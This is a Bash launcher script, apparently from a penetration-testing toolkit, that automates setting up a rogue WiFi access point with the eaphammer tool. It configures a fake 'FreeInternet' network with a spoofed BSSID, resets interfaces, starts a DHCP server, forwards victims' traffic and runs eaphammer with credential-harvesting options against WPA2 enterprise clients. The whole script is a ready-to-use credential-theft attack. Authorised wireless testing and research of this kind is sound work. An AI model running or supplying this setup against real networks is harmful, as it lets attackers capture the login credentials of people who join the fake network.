97 lines
2.8 KiB
Bash
97 lines
2.8 KiB
Bash
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#!/bin/bash
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#
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# This script launches `eaphammer` tool by s0lst1c3, available from:
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# https://github.com/s0lst1c3/eaphammer.git
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#
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# The tool is a great way to manage hostapd-wpe server as well as perform
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# additional attacks around the concept. Although when used in penetration
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# testing assignments, the tool may not be as reliable as believed due to
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# various nuances with WLAN interface being blocked, not reloaded,
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# DHCP-forced and so on. This is where this script comes in - it tries to
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# automatize those steps before launching the tool and after.
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#
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# Especially handy when used with companion script called:
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# `initDHCPServer.sh`
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#
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# Mariusz B. / mgeeky '18, <mb@binary-offensive.com>
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#
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####################################################################
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# CONFIGURATION
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# Name of offered Fake/Rouge AP
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ESSID=FreeInternet
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# MAC Address of Fake/Rouge AP
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BSSID=24:01:c7:31:13:37
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# Channel
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CH=10
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# Additional `eaphammer` options to pass.
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EAPHAMMER_OPTS="--creds --wpa 2 --auth ttls"
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# Wireless interface to use for Rogue/Fake AP purposes.
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WLAN_IFACE=wlan0
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# [optional] Outbound to WAN interface (default gateway) where to pass victim's
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# internet connection. If not specified, there will be no IP forwarding set.
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OUTBOUND_IFACE=
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# Directory in which `eaphammer` has been installed/cloned.
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EAPHAMMER_DIR=/root/tools/eaphammer
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# [optional] Directory with this very script. Needed to find `initDHCPServer.sh` companion
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# script. If not specified, will try to use this script's current working directory.
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THIS_SCRIPT_DIR=/root/vmshared/wifiPentest
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####################################################################
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echo "[STEP 0]: Preliminary cleanup"
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pkill dhclient
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pkill dhcpd
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echo "[STEP 1]: nl802111 driver Bug workaround"
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nmcli radio wifi off
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rfkill unblock wlan
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echo "[STEP 2]: Reloading wireless interface"
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ifconfig $WLAN_IFACE down
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ifconfig $WLAN_IFACE up
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sleep 2
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echo "[STEP 3]: Reloading outbound interface."
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if [ -n "$OUTBOUND_IFACE" ]; then
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dhclient -r $OUTBOUND_IFACE
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dhclient -v $OUTBOUND_IFACE 2>&1 | grep 'bound to'
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else
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echo "No outbound interface specified. Skipping step..."
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fi
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echo "[STEP 4]: Starting DHCP launch script in background"
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if [ -n "$OUTBOUND_IFACE" ]; then
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if [ -z "$THIS_SCRIPT_DIR" ]; then
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THIS_SCRIPT_DIR="$( cd "$(dirname "{BASH_SOURCE[0]}" )" && pwd)"
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fi
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eval "$THIS_SCRIPT_DIR/initDHCPServer.sh $WLAN_IFACE $OUTBOUND_IFACE" &disown;
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else
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echo "No outbound interface specified. Skipping step..."
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fi
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pushd $EAPHAMMER_DIR > /dev/null
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echo "[STEP 5]: Starting eaphammer with options: '$EAPHAMMER_OPTS'"
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####################################################################
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./eaphammer -i $WLAN_IFACE -e $ESSID -b $BSSID -c $CH $EAPHAMMER_OPTS
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####################################################################
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popd > /dev/null
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echo "[STEP 6]: Killing services."
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pkill dhclient
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pkill dhcpd
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